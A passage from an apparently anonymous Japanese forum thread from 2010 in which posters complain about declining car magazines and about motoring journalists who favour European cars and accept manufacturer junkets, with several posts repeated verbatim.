俺ポルシェが嫌いだから彼女のカレラは楽しめないんだよなぁ・・・
車好きを自認しながらこんな事言ってるのって少数派？
仁Dは話がまるで進まないのが最大の問題
面白くても面白くなくてもいいからまず話を進めてくれｗ
湾岸はC1に変えてかなり風通しが良くなった感じなのでひとまず成功といえるだろう
最近のヤンマガではケッチンがのんびりした雰囲気で好きだ
っていうか漫画の話ばっかりなので雑誌の話も書くが乗用車系や4駆以外の雑誌で
ここに名前があまり出てこないものの売上ってどんな感じ？
カミオン,チャンプロード,カーセンサーなど売れてるの？
車好きを自認しながらこんな事言ってるのって少数派？
仁Dは話がまるで進まないのが最大の問題
面白くても面白くなくてもいいからまず話を進めてくれｗ
湾岸はC1に変えてかなり風通しが良くなった感じなのでひとまず成功といえるだろう
最近のヤンマガではケッチンがのんびりした雰囲気で好きだ
っていうか漫画の話ばっかりなので雑誌の話も書くが乗用車系や4駆以外の雑誌で
ここに名前があまり出てこないものの売上ってどんな感じ？
カミオン,チャンプロード,カーセンサーなど売れてるの？
500 ：名無しさん＠そうだドライブへ行こう：2010/09/21(火) 08:29:46 ID:hmeonKIk0
カーセンサーはネットの普及で紙媒体は壊滅状態じゃないの？
501 ：名無しさん＠そうだドライブへ行こう：2010/09/21(火) 08:53:01 ID:Gic2TDtS0
カミオンって基本はチャンプロードとかと変わらないからな。
族車がトラックに変わっただけでやってる人種はほぼ同じだし。
だから真ん中の子供とか娘とかの写真乗せるやつが
載ったら複数買ったりするので部数に貢献してる。
族車がトラックに変わっただけでやってる人種はほぼ同じだし。
だから真ん中の子供とか娘とかの写真乗せるやつが
載ったら複数買ったりするので部数に貢献してる。
502 ：名無しさん＠そうだドライブへ行こう：2010/09/21(火) 09:34:10 ID:hmeonKIk0
自動車雑誌は
ネタ系 ベストカー
スクープ系 ホリデーオート
購入系 月刊自家用車
だけで充分
ネタ系 ベストカー
スクープ系 ホリデーオート
購入系 月刊自家用車
だけで充分
503 ：名無しさん＠そうだドライブへ行こう：2010/09/21(火) 21:48:01 ID:RvZYTLPc0
生き残るのは
その３誌だけだろう。
あとはこれ以上赤字を増やさないために
早く辞めたもん勝ち
その３誌だけだろう。
あとはこれ以上赤字を増やさないために
早く辞めたもん勝ち
504 ：名無しさん＠そうだドライブへ行こう：2010/09/21(火) 23:30:49 ID:ix3gi+350
505 ：名無しさん＠そうだドライブへ行こう：2010/09/21(火) 23:32:24 ID:zRTS3KEt0
色々言い出すと軽カースペシャルだのチャンプロードだの言い出す予感
506 ：名無しさん＠そうだドライブへ行こう：2010/09/22(水) 00:00:02 ID:kHLHvP0J0
島下ってコンチネンタル買ったのか。レクサスの提灯記事を書きまくった金でよくやるな。
507 ：名無しさん＠そうだドライブへ行こう：2010/09/22(水) 01:20:19 ID:WDVIteDZ0
島下って屁理屈ばっかりでツマンナイよ アイツ
508 ：名無しさん＠そうだドライブへ行こう：2010/09/22(水) 01:44:38 ID:Q+xMA2GD0
月刊になったdriver誌も月刊３号目で自宅エリア内の
書店の入荷は各店激減。３～５冊程度になった。
月2回刊の時はコンビニの販売が書店より多かった。
そのマーケットを放棄した八重洲はほんとにバカだねぇ…
書店の入荷は各店激減。３～５冊程度になった。
月2回刊の時はコンビニの販売が書店より多かった。
そのマーケットを放棄した八重洲はほんとにバカだねぇ…
509 ：名無しさん＠そうだドライブへ行こう：2010/09/22(水) 02:01:00 ID:uhMH6C/jP
510 ：名無しさん＠そうだドライブへ行こう：2010/09/22(水) 07:15:28 ID:NcaZv/4UO
>>509
ザ・マイカー(笑)
ザ・マイカー(笑)
511 ：名無しさん＠そうだドライブへ行こう：2010/09/22(水) 08:17:42 ID:WDVIteDZ0
driverは他の誌面ではあまり出ないライターが書く記事が面白かったりする
やっぱ隔週発売に戻すべき
やっぱ隔週発売に戻すべき
512 ：名無しさん＠そうだドライブへ行こう：2010/09/22(水) 09:31:49 ID:fs9XD2XL0
レブスピードはどうよ？
特集は同じネタの繰り返し
パーツレビューはショップの宣伝
この前、久しぶりに読んでみたら薄くなっててビックリした
オプションもヤバいけど、ここもかな
特集は同じネタの繰り返し
パーツレビューはショップの宣伝
この前、久しぶりに読んでみたら薄くなっててビックリした
オプションもヤバいけど、ここもかな
513 ：名無しさん＠そうだドライブへ行こう：2010/09/22(水) 09:57:27 ID:7T61p42p0
514 ：名無しさん＠そうだドライブへ行こう：2010/09/22(水) 14:12:12 ID:OT1JaRFZ0
>>513
雑誌なんて広告見たくて買ってる所もあるからそれが減ると意味が無くなるんだよね
4駆雑誌も軒並み薄くなってるよ(中身じゃないよｗ)
中身に関してはダカールラリーとかのオフロードモータースポーツの記事が
ホントにあっさりとした物しか載ってないのがダメだ
取材能力の無さと書いてる奴の知識の無さがモロバレという感じ
国内のオフロードレースJORのレポートも載ってないし置く店が減るのもわかる
内容で勝負できる雑誌作れば敵の少ない今こそ売れると思うのだが作れる奴が居ないんだろうな
雑誌なんて広告見たくて買ってる所もあるからそれが減ると意味が無くなるんだよね
4駆雑誌も軒並み薄くなってるよ(中身じゃないよｗ)
中身に関してはダカールラリーとかのオフロードモータースポーツの記事が
ホントにあっさりとした物しか載ってないのがダメだ
取材能力の無さと書いてる奴の知識の無さがモロバレという感じ
国内のオフロードレースJORのレポートも載ってないし置く店が減るのもわかる
内容で勝負できる雑誌作れば敵の少ない今こそ売れると思うのだが作れる奴が居ないんだろうな
515 ：名無しさん＠そうだドライブへ行こう：2010/09/22(水) 14:46:04 ID:7T61p42p0
516 ：名無しさん＠そうだドライブへ行こう：2010/09/22(水) 16:08:40 ID:6ZwO80OgP
よくオプション２誌体制だな併合も近いのかね？
517 ：名無しさん＠そうだドライブへ行こう：2010/09/22(水) 16:32:37 ID:K25n01lLO
夏に香港行ったんだけど、セブンイレブンにベストカーの香港版が普通に売ってた。
香港の人は結構クルマ好きで、アテンザやスイスポとか結構ドレスアップして沢山走ってたな
住宅事情が最悪だから日本みたいに一人一台は夢のまた夢だけに憧れが強いのかもしれない。
中国とか個人用車への渇望がある途上国では自動車雑誌は売れまくるかもな
香港の人は結構クルマ好きで、アテンザやスイスポとか結構ドレスアップして沢山走ってたな
住宅事情が最悪だから日本みたいに一人一台は夢のまた夢だけに憧れが強いのかもしれない。
中国とか個人用車への渇望がある途上国では自動車雑誌は売れまくるかもな
518 ：名無しさん＠そうだドライブへ行こう：2010/09/22(水) 19:11:27 ID:8uZ+97Vo0
あたしナウなヤングだけど、サビ取り雑誌の個人売買欄くらいしか
今出てる自動車雑誌で価値のある記事(？)って無いと思う。
みんカラとかmixiの方がいいじゃん、つまんねーところで次号へ！とか無いしさ。
今出てる自動車雑誌で価値のある記事(？)って無いと思う。
みんカラとかmixiの方がいいじゃん、つまんねーところで次号へ！とか無いしさ。
519 ：名無しさん＠そうだドライブへ行こう：2010/09/22(水) 19:37:20 ID:3h4qzlysO
520 ：名無しさん＠そうだドライブへ行こう：2010/09/22(水) 20:13:56 ID:9nD3aKOM0
>>519
「メルセデス」とか貼ったらもっといけるでェ～
「メルセデス」とか貼ったらもっといけるでェ～
521 ：名無しさん＠そうだドライブへ行こう：2010/09/22(水) 22:32:24 ID:UKiJvSvo0
>>511
月刊でも良いが、昔みたいに背を接着剤で止める方式に戻してくれ＜ドラ
月刊でも良いが、昔みたいに背を接着剤で止める方式に戻してくれ＜ドラ
522 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 01:19:01 ID:kz40iA0n0
エンジン何だありゃ、「MTだから楽しい」って素人感想のオンパレードは。
523 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 01:22:40 ID:urcFkwC5P
524 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 01:32:08 ID:zzokJj5/P
FC3Sのスクープ最高でした
525 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 01:33:17 ID:2c77mf+/0
526 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 02:46:42 ID:kz40iA0n0
>>525
なるほどな。
車好きは免許（当然MT）を取るか取らないかの頃が
この手の雑誌読んでても一番面白いもんな。
しかしジャーナリストの文章は車好きなお兄ちゃんには受けても、
車作りにはまったく影響を与えていないことがよくわかるな。
なるほどな。
車好きは免許（当然MT）を取るか取らないかの頃が
この手の雑誌読んでても一番面白いもんな。
しかしジャーナリストの文章は車好きなお兄ちゃんには受けても、
車作りにはまったく影響を与えていないことがよくわかるな。
527 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 09:16:14 ID:o8P65Jq/0
>>526
ああいう小学生の作文レベルの書き散らしは昔からだけどね
今は中学生以上の子供が車に興味がないから子供だましの文章では販売部数は伸びないだろうね
大人は写真とか見るだけで文章読まずに立ち読みで終了だし
何が問題って自動車ジャーナリストの程度が低いことだわ
ああいう小学生の作文レベルの書き散らしは昔からだけどね
今は中学生以上の子供が車に興味がないから子供だましの文章では販売部数は伸びないだろうね
大人は写真とか見るだけで文章読まずに立ち読みで終了だし
何が問題って自動車ジャーナリストの程度が低いことだわ
528 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 12:35:15 ID:bPon7k6R0
529 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 12:38:04 ID:0ADOuEAz0
大概、馬鹿に限って組織だって群れを成す習性がある
労組、宗教、ヤクザetc
労組、宗教、ヤクザetc
530 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 13:35:57 ID:8Y2P5/E10
読者をヘタレ扱いするカーボーイみたいに世間と乖離してるのが問題だなあ。
531 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 13:39:42 ID:+NJzofGx0
532 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 14:23:34 ID:kz40iA0n0
左通行の国で左Hに何の疑問も呈さないばかりか本国仕様に近いからいいだの、
昔のATの先入観にどっぷりで千秋一日MTMTだの、
国情と逆のもの持ち上げて車好きのお子様を勘違いさせてきたのは
ジャーナリストの馬鹿のせいだと思うね。
自分の好みばかり並べて何ら説得力がないから
運転経験のないお子様は無条件で信じるんだろうけど、
全国どこでも試乗して彼らに近い経験できるようになった今、
みんなあきれて車好きも雑誌買わなくなったんだよ。
エンジンで徳大寺が325iを推してたけど、
彼はMTイコール楽しいなんていう馬鹿の一つ覚えはさすがに書いていない。
でも同誌でそう書いている大勢の奴は、
読者にも、ジサマとなった彼にも及んでないってことだからな。
昔のATの先入観にどっぷりで千秋一日MTMTだの、
国情と逆のもの持ち上げて車好きのお子様を勘違いさせてきたのは
ジャーナリストの馬鹿のせいだと思うね。
自分の好みばかり並べて何ら説得力がないから
運転経験のないお子様は無条件で信じるんだろうけど、
全国どこでも試乗して彼らに近い経験できるようになった今、
みんなあきれて車好きも雑誌買わなくなったんだよ。
エンジンで徳大寺が325iを推してたけど、
彼はMTイコール楽しいなんていう馬鹿の一つ覚えはさすがに書いていない。
でも同誌でそう書いている大勢の奴は、
読者にも、ジサマとなった彼にも及んでないってことだからな。
533 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 14:31:53 ID:+NJzofGx0
基本的に外車マンセーだからね
バブル期以前ならいざ知らず今時のメルセデスとかトヨタ以下のウンコだし
ＢＭＷ誉めてる奴も未だにシルキー６だとか恥ずかしいこと言ってるしさｗ
でＲＢエンジンはがさつだの言ってたんだから救いようがないわ
バブル期以前ならいざ知らず今時のメルセデスとかトヨタ以下のウンコだし
ＢＭＷ誉めてる奴も未だにシルキー６だとか恥ずかしいこと言ってるしさｗ
でＲＢエンジンはがさつだの言ってたんだから救いようがないわ
534 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 15:11:23 ID:0ADOuEAz0
外車の優位性って今じゃデザインとコスト管理無視の品質ぐらいじゃないの？
535 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 17:45:58 ID:Vzzmt6Km0
まあ、RBはL型のままだから、がさつといえばその通りだけどな。
536 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 18:13:26 ID:0zyjXHMK0
外車誉めるしか能が無いくせに韓国車の試乗は大した事やって無いんだよな
別に韓国車マンセーしろと言う訳ではなくてキチンと乗った上で良い悪いを書いて欲しい
何となく安かろう悪かろう程度で乗りもしないんじゃ情報源になってない
まずはどんな車でも乗るべきだろうと思うのだが今後,中国やインドその他の新興国の車が
輸入されても同じ事やるんだろうな
こうなると車が売れても雑誌が売れないという状況さえ予想される
別に韓国車マンセーしろと言う訳ではなくてキチンと乗った上で良い悪いを書いて欲しい
何となく安かろう悪かろう程度で乗りもしないんじゃ情報源になってない
まずはどんな車でも乗るべきだろうと思うのだが今後,中国やインドその他の新興国の車が
輸入されても同じ事やるんだろうな
こうなると車が売れても雑誌が売れないという状況さえ予想される
537 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 18:13:59 ID:zzokJj5/P
最終の1G-FEなんかBMWよりｲｲ!!って聞いたことあるけどホントなの？
538 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 18:32:08 ID:+NJzofGx0
539 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 19:01:50 ID:0zyjXHMK0
540 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 19:07:26 ID:BiX8sSZC0
ヒュンダイ車のタクシーはよく乗るけど、乗り心地が悪いとかシートの作りが悪いとかでも無いわな。
雑誌が欧州車マンセーだと叩いて同じ口で韓国車なんてボロに決まってるというなら
ダブルスタンダードだよね。
雑誌が欧州車マンセーだと叩いて同じ口で韓国車なんてボロに決まってるというなら
ダブルスタンダードだよね。
541 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 19:31:51 ID:Qoe2Qxry0
最近、どの新車系紹介雑誌読んでも同じような文ばっかりだもん 決まって欧州車＝偉い、日本車＝ゴミ
あとは書き手の勝手な思想や感想ばっかり
ハナっから読む気が失せる
なら車種別ガイドやチューニング、旧車専門誌みたいなのが面白くなる
あとは書き手の勝手な思想や感想ばっかり
ハナっから読む気が失せる
なら車種別ガイドやチューニング、旧車専門誌みたいなのが面白くなる
542 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 21:16:16 ID:go+JIxHZ0
>541
> 最近、どの新車系紹介雑誌読んでも同じような文ばっかりだもん 決まって欧州車＝偉い、日本車＝ゴミ
> あとは書き手の勝手な思想や感想ばっかり
徳大寺が「間違いだらけのクルマ選び」でゴルフを褒めてからの伝統芸だからね。
> 最近、どの新車系紹介雑誌読んでも同じような文ばっかりだもん 決まって欧州車＝偉い、日本車＝ゴミ
> あとは書き手の勝手な思想や感想ばっかり
徳大寺が「間違いだらけのクルマ選び」でゴルフを褒めてからの伝統芸だからね。
543 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 21:20:05 ID:JXgdHogE0
544 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 22:37:59 ID:Qoe2Qxry0
前に土屋圭市がラジオで
「欧州車エライ、なんて言ってるヒョーロン家連中いるけどさ、
あいつら目隠しして乗せたら欧州車も日本車もぜってーわかんねーだろｗ」
なんて言ってたが･･･
「欧州車エライ、なんて言ってるヒョーロン家連中いるけどさ、
あいつら目隠しして乗せたら欧州車も日本車もぜってーわかんねーだろｗ」
なんて言ってたが･･･
545 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 22:54:38 ID:WUKntBKv0
アクティブビークル終了
ザッカーに統合って…敗者連合かい
ザッカーに統合って…敗者連合かい
546 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 22:55:52 ID:JXgdHogE0
547 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 22:58:08 ID:onVXPL1U0
>>533>>535
RBはRBでもRB20＜ E ＞に徹底的に乗ってからどうガサツか語ってもらいたいわ、ホント。
廉価版だと思って舐めてたら、直６の一番美味しいところが味わえるエンジンだったりする。
アレがガサツだったら奴らがマンセーしているBMWのシルキー６ですらガサツだわｗ
RBはRBでもRB20＜ E ＞に徹底的に乗ってからどうガサツか語ってもらいたいわ、ホント。
廉価版だと思って舐めてたら、直６の一番美味しいところが味わえるエンジンだったりする。
アレがガサツだったら奴らがマンセーしているBMWのシルキー６ですらガサツだわｗ
548 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 23:50:41 ID:WUKntBKv0
549 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 23:54:16 ID:GEgRZFPQ0
>544
でも、土屋だって特定メーカーへの贔屓記事は書いてるしな。
でも、土屋だって特定メーカーへの贔屓記事は書いてるしな。
550 ：名無しさん＠そうだドライブへ行こう：2010/09/23(木) 23:58:47 ID:WUKntBKv0
海外ブランドからの接待受けてないからだろ＞土屋の国産贔屓
551 ：名無しさん＠そうだドライブへ行こう：2010/09/24(金) 00:04:48 ID:WpQMFjrL0
まぁ、土屋を接待する必要のある海外メーカーはないか……
欧州の部品メーカーと一緒にディーゼルの売り込みを考えてたって、ブログに書いてた自動車評論家も居たけどｗ
欧州の部品メーカーと一緒にディーゼルの売り込みを考えてたって、ブログに書いてた自動車評論家も居たけどｗ
552 ：名無しさん＠そうだドライブへ行こう：2010/09/24(金) 00:15:53 ID:SH72Rghx0
車会社もそろそろ馬鹿な評論家ドイツのアウトバーンで試乗させたりするのやめたら？
あんな記事は誰もまともにとってないし逆にこんな評論家に誉められてるんならダメだわって感じなんだけど
あんな記事は誰もまともにとってないし逆にこんな評論家に誉められてるんならダメだわって感じなんだけど
553 ：名無しさん＠そうだドライブへ行こう：2010/09/24(金) 01:22:57 ID:oqr14UkKO
554 ：名無しさん＠そうだドライブへ行こう：2010/09/24(金) 01:24:52 ID:SH72Rghx0
何気にR32は4気筒モデルもあったなｗ
555 ：名無しさん＠そうだドライブへ行こう：2010/09/24(金) 02:31:15 ID:QFNb+q1C0
土屋はやりたくてしょうがないんだけど、
「ドリフトの人」のイメージが抜けないから変にうちのを贔屓しないでね、ってとこじゃね。
>>552
いえてるけどそれこそご接待。
ボルボの北極圏試乗もホンダの北海道テストコース試乗も
完璧に除雪されたとこを走らせて、何も起こりようがない。
出てくる文章はといえば楽しい楽しいだけ。つまり接待旅行そのもの。
モーターショー総欠席したように、
海外勢がまずこの手の接待から一斉に手を引いて欲しいよ。
「ドリフトの人」のイメージが抜けないから変にうちのを贔屓しないでね、ってとこじゃね。
>>552
いえてるけどそれこそご接待。
ボルボの北極圏試乗もホンダの北海道テストコース試乗も
完璧に除雪されたとこを走らせて、何も起こりようがない。
出てくる文章はといえば楽しい楽しいだけ。つまり接待旅行そのもの。
モーターショー総欠席したように、
海外勢がまずこの手の接待から一斉に手を引いて欲しいよ。
556 ：名無しさん＠そうだドライブへ行こう：2010/09/24(金) 02:44:19 ID:siDaiIarO
何か最近気持ち悪いくらいに書き込み増えたな
557 ：名無しさん＠そうだドライブへ行こう：2010/09/24(金) 10:31:02 ID:vVx5Jse10
>>552
レクサスのフロアがブルブル事件の事ですか？確かにアウトバーンで試乗会しなければ分からなかったよなw
レクサスのフロアがブルブル事件の事ですか？確かにアウトバーンで試乗会しなければ分からなかったよなw
558 ：名無しさん＠そうだドライブへ行こう：2010/09/24(金) 11:33:34 ID:PtMfJI120
>556
溜まってた不満が出てきたんじゃないの？
言われてみればそうだねって感じの内容だけど、指摘されて困る自動車評論家は多いかもね。
溜まってた不満が出てきたんじゃないの？
言われてみればそうだねって感じの内容だけど、指摘されて困る自動車評論家は多いかもね。
559 ：名無しさん＠そうだドライブへ行こう：2010/09/24(金) 11:38:05 ID:fJ7DwByX0
結局新型車のスクープならまだしも（マガジンXはいらね）試乗レポートとかもういらんわな
今までで一番酷かった試乗レポートは新型アルト
街中の交差点でも酷いロール出てるのに自動車雑誌では安定してるとかｗ
今までで一番酷かった試乗レポートは新型アルト
街中の交差点でも酷いロール出てるのに自動車雑誌では安定してるとかｗ
560 ：名無しさん＠そうだドライブへ行こう：2010/09/24(金) 15:23:52 ID:mmD5MK8E0
もう買うのは辞めた方がいいね。
561 ：名無しさん＠そうだドライブへ行こう：2010/09/24(金) 17:08:39 ID:pCA9f7iE0
>>560
買うのをやめなくても売るのをやめてくれるよｗ
買うのをやめなくても売るのをやめてくれるよｗ
562 ：名無しさん＠そうだドライブへ行こう：2010/09/24(金) 19:19:08 ID:pmioo6a20
この前中国出張の折、現地のクルマ雑誌を買ったのだが
かつてのＮＡＶＩのようなファッションがらみ、女がらみの特集やら
（レクサスのオープンをフェラーリのように…）
一気乗り（まんまパクリ）やら、お金も時間も掛ってんなあ、と羨ましかった。
扱ってる車種も当然色々あって
ロールスから、ＢＹＤの新型や、熊猫まで…
新型紹介のトップは日産マーチ。
しかも、日本製品については欧州雑誌そのまま辛辣批評ときたもんだｗ
これで２０元（１元＝１４円）は安い…日本人には…
やっぱり雑誌が売れないのは、単純に面白くないからだと感じた。
かつてのＮＡＶＩのようなファッションがらみ、女がらみの特集やら
（レクサスのオープンをフェラーリのように…）
一気乗り（まんまパクリ）やら、お金も時間も掛ってんなあ、と羨ましかった。
扱ってる車種も当然色々あって
ロールスから、ＢＹＤの新型や、熊猫まで…
新型紹介のトップは日産マーチ。
しかも、日本製品については欧州雑誌そのまま辛辣批評ときたもんだｗ
これで２０元（１元＝１４円）は安い…日本人には…
やっぱり雑誌が売れないのは、単純に面白くないからだと感じた。
563 ：名無しさん＠そうだドライブへ行こう：2010/09/24(金) 19:49:28 ID:mmD5MK8E0
誤植やガセネタ、挙句の果てに読者をヘタレ扱いするから。
564 ：名無しさん＠そうだドライブへ行こう：2010/09/24(金) 22:57:20 ID:WpQMFjrL0
>563
他誌で書いてる評論家への嫌がらせやったベストカーｗ
他誌で書いてる評論家への嫌がらせやったベストカーｗ
565 ：名無しさん＠そうだドライブへ行こう：2010/09/24(金) 23:36:54 ID:mmD5MK8E0
もうライターもこんなにいらないからね…食って行くには辛い業界になるでしょう。
566 ：名無しさん＠そうだドライブへ行こう：2010/09/24(金) 23:44:16 ID:9oRR7wby0
業界でリーフ買ったの国沢だけ。
日産広報でも男性社員１人だけ。
日産広報でも男性社員１人だけ。
567 ：名無しさん＠そうだドライブへ行こう：2010/09/24(金) 23:50:43 ID:g5FyEtrz0
自動車雑誌もさっさと付録付けて立ち読みできなくしてそのまま廃刊になればいいのに
河口まなぶとか使ってる雑貨ーとかマジでクソでしょ
河口まなぶとか使ってる雑貨ーとかマジでクソでしょ
568 ：名無しさん＠そうだドライブへ行こう：2010/09/24(金) 23:56:16 ID:w9YBulWx0
569 ：名無しさん＠そうだドライブへ行こう：2010/09/24(金) 23:59:27 ID:g5FyEtrz0
570 ：名無しさん＠そうだドライブへ行こう：2010/09/25(土) 00:01:11 ID:A8iRMJkG0
571 ：名無しさん＠そうだドライブへ行こう：2010/09/25(土) 00:03:12 ID:A8iRMJkG0
>>569
マガジンＸは隔月刊にするべき
マガジンＸは隔月刊にするべき
572 ：名無しさん＠そうだドライブへ行こう：2010/09/25(土) 01:51:26 ID:2ZtXygDe0
ダメな自動車評論家がベタ褒めする車リストでも作りませんか
基準作りって感じで
シトロエン･C5
(趣味人のこだわりとしては,面白いと思うが実用性ならクラウンとかフーガの方が万人向け)
アルファロメオ・Mito
(日本車があのデザインだったら悪口ばっかり言うんだろ)
ポルシェ・911ターボ
(日本のメーカーでもあの値段付けて良いならああいう車作れるだろ
でも出したら「高過ぎ」って文句言うんだろ)
俺が思うのはこんな感じだろうか,各車が悪いと言ってる訳ではないです
評論家がバカだと言ってるだけです
基準作りって感じで
シトロエン･C5
(趣味人のこだわりとしては,面白いと思うが実用性ならクラウンとかフーガの方が万人向け)
アルファロメオ・Mito
(日本車があのデザインだったら悪口ばっかり言うんだろ)
ポルシェ・911ターボ
(日本のメーカーでもあの値段付けて良いならああいう車作れるだろ
でも出したら「高過ぎ」って文句言うんだろ)
俺が思うのはこんな感じだろうか,各車が悪いと言ってる訳ではないです
評論家がバカだと言ってるだけです
573 ：名無しさん＠そうだドライブへ行こう：2010/09/25(土) 02:04:23 ID:GkARjlXt0
メルセデスＣＬＳ
日本車なら「今更4ドアハードトップを作る神経を疑う。こんなカッコだけの車は絶対に売れない」とフルボッコ間違いなし
日本車なら「今更4ドアハードトップを作る神経を疑う。こんなカッコだけの車は絶対に売れない」とフルボッコ間違いなし
574 ：名無しさん＠そうだドライブへ行こう：2010/09/25(土) 10:03:26 ID:/4HheoYs0
ポルシェボクスター、ケイマン
（高すぎる。Ｚのある国でぼったくり商売出来るのは雑誌のおかげ）
（高すぎる。Ｚのある国でぼったくり商売出来るのは雑誌のおかげ）
575 ：名無しさん＠そうだドライブへ行こう：2010/09/25(土) 10:40:22 ID:etm5Fkwx0
アルファロメオブレラ 全てにおいて中途半端
（アルテのジータはカス扱いでなぜかブレアは大絶賛ｗ）
こういうの見ると少しやり過ぎではあるがトップギアの公平性が羨ましい
（アルテのジータはカス扱いでなぜかブレアは大絶賛ｗ）
こういうの見ると少しやり過ぎではあるがトップギアの公平性が羨ましい
576 ：名無しさん＠そうだドライブへ行こう：2010/09/25(土) 12:28:03 ID:GRe/LOO/0
アルテッツァジータがカスなことは間違いないだろ
577 ：名無しさん＠そうだドライブへ行こう：2010/09/25(土) 12:46:05 ID:etm5Fkwx0
どっちもカスだって事だよｗ
だいたいアルファのエンジンがそんなに官能的か？
プジョーの猫足とかも意味分からずに枕詞で使ってる奴ばっか
あとＢＭＷのシルキー６とか
アメ車のＶ８はあんなにがさつでも「大陸的」の一言で誉める対象に早変わり
エンジンで言えばホンダエンジンにアルファなんかが勝てるわけがない
でもアルファは官能的でホンダは無機質
もうねアホカと
だいたいアルファのエンジンがそんなに官能的か？
プジョーの猫足とかも意味分からずに枕詞で使ってる奴ばっか
あとＢＭＷのシルキー６とか
アメ車のＶ８はあんなにがさつでも「大陸的」の一言で誉める対象に早変わり
エンジンで言えばホンダエンジンにアルファなんかが勝てるわけがない
でもアルファは官能的でホンダは無機質
もうねアホカと
578 ：名無しさん＠そうだドライブへ行こう：2010/09/25(土) 13:21:19 ID:jjJ1xps6P
REの回転の上昇はモーターのようで官能的でない（ｷﾘｯ
579 ：名無しさん＠そうだドライブへ行こう：2010/09/25(土) 19:21:36 ID:qY/wKJwv0
>>556
大型規制されてたからな。携帯もドコモの規制が解除されたみたいだし。
大型規制されてたからな。携帯もドコモの規制が解除されたみたいだし。
580 ：名無しさん＠そうだドライブへ行こう：2010/09/25(土) 19:37:30 ID:qY/wKJwv0
>>577
袖の下を渡せば中国製2.4L直4エンジンですらベタ褒めする連中だからなw
袖の下を渡せば中国製2.4L直4エンジンですらベタ褒めする連中だからなw
581 ：名無しさん＠そうだドライブへ行こう：2010/09/25(土) 19:54:19 ID:/4HheoYs0
自動車雑誌の評価項目にない用件
①耐久性＞使ってみないとわからないと言い逃れ
②渋滞時の燃費＞箱根まですぐ出て行ってしまう
③ガソリン＞ハイオクとレギュラーの価格差なんて関係なし
④サービス＞修理も出来ないネットワーク、法外な修理費用
①耐久性＞使ってみないとわからないと言い逃れ
②渋滞時の燃費＞箱根まですぐ出て行ってしまう
③ガソリン＞ハイオクとレギュラーの価格差なんて関係なし
④サービス＞修理も出来ないネットワーク、法外な修理費用
582 ：名無しさん＠そうだドライブへ行こう：2010/09/25(土) 20:06:46 ID:llYhY87a0
>>580
Ｔ社のエンジンねｗ
ベストカー最新号に三本さん出てたな
不躾棒で荷室図ってたｗ
あとＦＴ86ネタで2011年秋の東京モーターショーに生産型が出てくるとか
マガジンＸは必死でトヨタ叩いてたね
ニュルでの事故に客載せてたんじゃないかとかバルブスプリングのリコールがどうとか
前者は別にどうでもいい話だし、後者は散々２ｃｈで言われてたことと全く同じ内容
スクープもクソだし総括もクソだしもうこの雑誌いらないでしょ
Ｔ社のエンジンねｗ
ベストカー最新号に三本さん出てたな
不躾棒で荷室図ってたｗ
あとＦＴ86ネタで2011年秋の東京モーターショーに生産型が出てくるとか
マガジンＸは必死でトヨタ叩いてたね
ニュルでの事故に客載せてたんじゃないかとかバルブスプリングのリコールがどうとか
前者は別にどうでもいい話だし、後者は散々２ｃｈで言われてたことと全く同じ内容
スクープもクソだし総括もクソだしもうこの雑誌いらないでしょ
583 ：名無しさん＠そうだドライブへ行こう：2010/09/25(土) 20:31:35 ID:hfsnxZKt0
584 ：名無しさん＠そうだドライブへ行こう：2010/09/25(土) 21:14:05 ID:qY/wKJwv0
585 ：名無しさん＠そうだドライブへ行こう：2010/09/25(土) 22:15:13 ID:vmjgrhcb0
>>581
⑤流行のエンジンダウンサイジング技術＞部品が増えて構造が複雑化→トラブルが増える元
⑤流行のエンジンダウンサイジング技術＞部品が増えて構造が複雑化→トラブルが増える元
586 ：名無しさん＠そうだドライブへ行こう：2010/09/25(土) 23:05:10 ID:6JvAgtNQ0
いくらスバルの新エンジンにがっかりしたからってそれは・・・
587 ：名無しさん＠そうだドライブへ行こう：2010/09/25(土) 23:09:56 ID:vmjgrhcb0
何も分かってない馬鹿な評論家がエンジンダウンサイジング技術を
完璧のように論じてるけど、決してそんなことはない
こうやってやたらと絶賛されている技術や機構ほど実は大した物ではない
完璧のように論じてるけど、決してそんなことはない
こうやってやたらと絶賛されている技術や機構ほど実は大した物ではない
588 ：名無しさん＠そうだドライブへ行こう：2010/09/25(土) 23:14:39 ID:JkIYILbK0
>585
発進時は加給がまだ効かないから排気量そのままのトルクなので、変速機の１速のギア比を大きくしてとか……。
発進時は加給がまだ効かないから排気量そのままのトルクなので、変速機の１速のギア比を大きくしてとか……。
589 ：名無しさん＠そうだドライブへ行こう：2010/09/25(土) 23:23:59 ID:QQhPqkHZ0
VWのDSGとかTSIマンセーしてる奴ってミラーサイクルエンジンとか出たときは完全スルーだったような奴らだろ？
590 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 00:59:22 ID:qsPBpvEV0
本来ならば、複雑な機構を持つメカニズムを一般大衆車に取り入れるべきではない。
機械の信頼性・耐久性が上がっているとはいえ、いずれは故障する。その時に高いお金を払わされ、泣くのはユーザー。
